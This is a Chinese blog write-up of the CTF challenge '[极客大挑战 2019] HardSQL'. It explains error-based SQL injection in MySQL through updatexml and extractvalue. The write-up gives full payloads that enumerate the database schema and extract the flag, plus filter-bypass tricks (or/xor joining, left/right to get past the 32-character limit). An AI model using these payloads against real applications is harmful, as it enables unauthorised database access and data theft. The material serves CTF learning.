[极客大挑战 2019] HardSQL

# 报错注入

# updatexml 注入

updatexml () 函数,是更新 xml 文档的函数。

语法:updatexml (目标 xml 文档,xml 路径,更新的内容)

第二个参数要求是 xpath 格式字符串,而我们输入的并不是。所以报错。

采用 or 来连接函数

1'or (语句)%23

整个过程的注入语句:

查数据库
updatexml(1,concat(0x7e,(SELECT(database())),0x7e),1)
查表
updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1)
查字段
updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1)
查数据
updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1)



# extractvalue 注入

函数解释:
extractvalue ():从目标 XML 中返回包含所查询值的字符串。
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称,文中为 Doc
第二个参数:XPath_string (Xpath 格式的字符串)
concat: 返回结果为连接参数产生的字符串。

extractvalue 注入的原理:依旧如同 updatexml 一样,extract 的第二个参数要求是 xpath 格式字符串,而我们输入的并不是。所以报错。

采用 ^ 异或来连接函数。

1^(语句)%23

查数据库
extractvalue(1,concat(0x7e,(select(database()))))
查表
extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(database())))))
查字段
extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))
查数据
extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))

# 字符截取

由于报错注入只能 32 个字符,而 flag 较长,需要进行截取操作。

# substr 截取

常用方式:
SBUSTR(str,pos);
从 pos 开始的位置,一直截取到最后。

另外一种常用方式:
SUBSTR(str,pos,len);
从 pos 开始的位置,截取 len 个字符 (空白也算字符)。

题目禁用了 substr,这个方法不能用

extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))
extractvalue(1,concat(0x7e,(substr(select(password)from(geek.H4rDsq1),30,100))))

# left,right 截取

语法:LEFT (ARG,LENGTH)、RIGHT (ARG,LENGTH)

LEFT、RIGHT 函数返回 ARG 最左边、右边的 LENGTH 个字符串,ARG 可以是 CHAR 或 BINARY STRING。

extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))
extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))
更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

zeroc 微信支付

微信支付

zeroc 支付宝

支付宝

zeroc 贝宝

贝宝